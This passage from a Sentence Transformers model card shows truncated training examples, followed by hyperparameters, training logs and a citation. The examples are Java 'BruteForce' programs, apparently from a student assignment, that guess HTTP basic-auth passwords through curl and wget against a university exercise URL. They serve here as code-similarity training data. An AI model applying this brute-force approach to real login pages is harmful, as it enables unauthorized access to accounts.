commandLine<br>       = "curl http://sec-crack.cs.rmit.edu./SEC/2/index.php -I -u :";<br>  private String chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";<br>  private int charLen = chars.length();           <br>  private int n = 0;                              <br>  private int n3 = charLen*charLen*charLen;       <br>  private String response;<br>  private String[] password = new String[charLen*charLen*charLen+charLen*charLen+charLen];<br>  private char[][] data = new char[passwdLength][charLen];<br>  private char[] pwdChar2 = new char[2];<br>  private char[] pwdChar = new char[passwdLength];<br>  private String url;<br>  private int startTime;<br>  private int endTime;<br>  private int totalTime;<br>  private float averageTime;<br>  private boolean finish;<br>  private Process curl;<br>  private BufferedReader bf, responseLine;<br><br>...</code>                         |
  | <code>0</code> | <code><br>import java.io.*;<br>import java.awt.*;<br>import java.net.*;<br><br>public class BruteForce<br>{<br>	public static void main (String[] args)<br>	{<br>		String pw = new String();<br>		pw = getPassword ();<br>		System.out.println("Password is: "+pw);<br>	}<br>	public static String getPassword()<br>	{<br>		String passWord = new String();<br>		passWord = "AAA";<br>		char[] guess = passWord.toCharArray();<br>		Process pro = null;<br>		Runtime runtime = Runtime.getRuntime();<br>		BufferedReader in = null;<br>		String str=null;<br>		boolean found = true;<br><br>		System.out.println(" attacking.....");<br>		for (int i=65;i<=122 ;i++ )<br>		{<br>			guess[0]=(char)(i);<br>            for (int j=65;j<=122 ;j++ )<br>			{<br>				guess[1]=(char)(j);<br>                for (int k=65 ;k<=122 ;k++ )<br>				{<br>					guess[2]=(char)(k);<br>					passWord = new String(guess);<br>					String cmd = "wget --http-user= --http-passwd="+passWord +" http://sec-crack.cs.rmit.edu./SEC/2/index.php ";<br>					try<br>					{<br>						pro = runtime.exec(cmd);<br><br>						in = new BufferedReader(new InputStreamReader(pro.getErrorSt...</code>       | <code><br><br>import java.io.*;<br>import java.text.*;<br>import java.util.*;<br>import java.net.*;<br><br>public class BruteForce extends Thread<br>{<br>   private static final String USERNAME = "";<br>   private static final char [] POSSIBLE_CHAR =<br>        {'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm',<br>         'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z',<br>         'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M',<br>         'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'};<br>   private static int NUMBER_OF_THREAD = 500;<br><br>   private static Date startDate = null;<br>   private static Date endDate = null;<br><br>   private String address;<br>   private String password;<br><br>   public BruteForce(String address, String password)<br>   {<br>      this.address = address;<br>      this.password = password;<br>   }<br><br>   public static void main(String[] args) throws IOException<br>   {<br>      if (args.length < 1)<br>      {<br>         System.err.println("Invalid usage!");<br>         System.err.println("...</code>             |
* Loss: [<code>SoftmaxLoss</code>](https://sbert.net/docs/package_reference/sentence_transformer/losses.html#softmaxloss)

### Training Hyperparameters
#### Non-Default Hyperparameters

- `per_device_train_batch_size`: 16
- `num_train_epochs`: 1

#### All Hyperparameters
<details><summary>Click to expand</summary>

- `overwrite_output_dir`: False
- `do_predict`: False
- `eval_strategy`: no
- `prediction_loss_only`: True
- `per_device_train_batch_size`: 16
- `per_device_eval_batch_size`: 8
- `per_gpu_train_batch_size`: None
- `per_gpu_eval_batch_size`: None
- `gradient_accumulation_steps`: 1
- `eval_accumulation_steps`: None
- `torch_empty_cache_steps`: None
- `learning_rate`: 5e-05
- `weight_decay`: 0.0
- `adam_beta1`: 0.9
- `adam_beta2`: 0.999
- `adam_epsilon`: 1e-08
- `max_grad_norm`: 1.0
- `num_train_epochs`: 1
- `max_steps`: -1
- `lr_scheduler_type`: linear
- `lr_scheduler_kwargs`: {}
- `warmup_ratio`: 0.0
- `warmup_steps`: 0
- `log_level`: passive
- `log_level_replica`: warning
- `log_on_each_node`: True
- `logging_nan_inf_filter`: True
- `save_safetensors`: True
- `save_on_each_node`: False
- `save_only_model`: False
- `restore_callback_states_from_checkpoint`: False
- `no_cuda`: False
- `use_cpu`: False
- `use_mps_device`: False
- `seed`: 42
- `data_seed`: None
- `jit_mode_eval`: False
- `use_ipex`: False
- `bf16`: False
- `fp16`: False
- `fp16_opt_level`: O1
- `half_precision_backend`: auto
- `bf16_full_eval`: False
- `fp16_full_eval`: False
- `tf32`: None
- `local_rank`: 0
- `ddp_backend`: None
- `tpu_num_cores`: None
- `tpu_metrics_debug`: False
- `debug`: []
- `dataloader_drop_last`: False
- `dataloader_num_workers`: 0
- `dataloader_prefetch_factor`: None
- `past_index`: -1
- `disable_tqdm`: False
- `remove_unused_columns`: True
- `label_names`: None
- `load_best_model_at_end`: False
- `ignore_data_skip`: False
- `fsdp`: []
- `fsdp_min_num_params`: 0
- `fsdp_config`: {'min_num_params': 0, 'xla': False, 'xla_fsdp_v2': False, 'xla_fsdp_grad_ckpt': False}
- `fsdp_transformer_layer_cls_to_wrap`: None
- `accelerator_config`: {'split_batches': False, 'dispatch_batches': None, 'even_batches': True, 'use_seedable_sampler': True, 'non_blocking': False, 'gradient_accumulation_kwargs': None}
- `deepspeed`: None
- `label_smoothing_factor`: 0.0
- `optim`: adamw_torch
- `optim_args`: None
- `adafactor`: False
- `group_by_length`: False
- `length_column_name`: length
- `ddp_find_unused_parameters`: None
- `ddp_bucket_cap_mb`: None
- `ddp_broadcast_buffers`: False
- `dataloader_pin_memory`: True
- `dataloader_persistent_workers`: False
- `skip_memory_metrics`: True
- `use_legacy_prediction_loop`: False
- `push_to_hub`: False
- `resume_from_checkpoint`: None
- `hub_model_id`: None
- `hub_strategy`: every_save
- `hub_private_repo`: None
- `hub_always_push`: False
- `gradient_checkpointing`: False
- `gradient_checkpointing_kwargs`: None
- `include_inputs_for_metrics`: False
- `include_for_metrics`: []
- `eval_do_concat_batches`: True
- `fp16_backend`: auto
- `push_to_hub_model_id`: None
- `push_to_hub_organization`: None
- `mp_parameters`: 
- `auto_find_batch_size`: False
- `full_determinism`: False
- `torchdynamo`: None
- `ray_scope`: last
- `ddp_timeout`: 1800
- `torch_compile`: False
- `torch_compile_backend`: None
- `torch_compile_mode`: None
- `include_tokens_per_second`: False
- `include_num_input_tokens_seen`: False
- `neftune_noise_alpha`: None
- `optim_target_modules`: None
- `batch_eval_metrics`: False
- `eval_on_start`: False
- `use_liger_kernel`: False
- `eval_use_gather_object`: False
- `average_tokens_across_devices`: False
- `prompts`: None
- `batch_sampler`: batch_sampler
- `multi_dataset_batch_sampler`: proportional

</details>

### Training Logs
| Epoch  | Step | Training Loss |
|:------:|:----:|:-------------:|
| 0.2393 | 500  | 0.0179        |
| 0.4787 | 1000 | 0.0231        |
| 0.7180 | 1500 | 0.0166        |
| 0.9574 | 2000 | 0.0149        |


### Framework Versions
- Python: 3.11.11
- Sentence Transformers: 4.1.0
- Transformers: 4.52.4
- PyTorch: 2.8.0.dev20250319+cu128
- Accelerate: 1.7.0
- Datasets: 3.6.0
- Tokenizers: 0.21.1

## Citation

### BibTeX

#### Sentence Transformers and SoftmaxLoss
```bibtex
@inproceedings{reimers-2019-sentence-bert,
    title = "Sentence-BERT: Sentence Embeddings using Siamese BERT-Networks",
    author = "Reimers, Nils and Gurevych, Iryna",
    booktitle = "Proceedings of the 2019 Conference on Empirical Methods in Natural Language Processing",
    month = "11",
    year = "2019",
    publisher = "Association for Computational Linguistics",
    url = "https://arxiv.org/abs/1908.10084",
}
```

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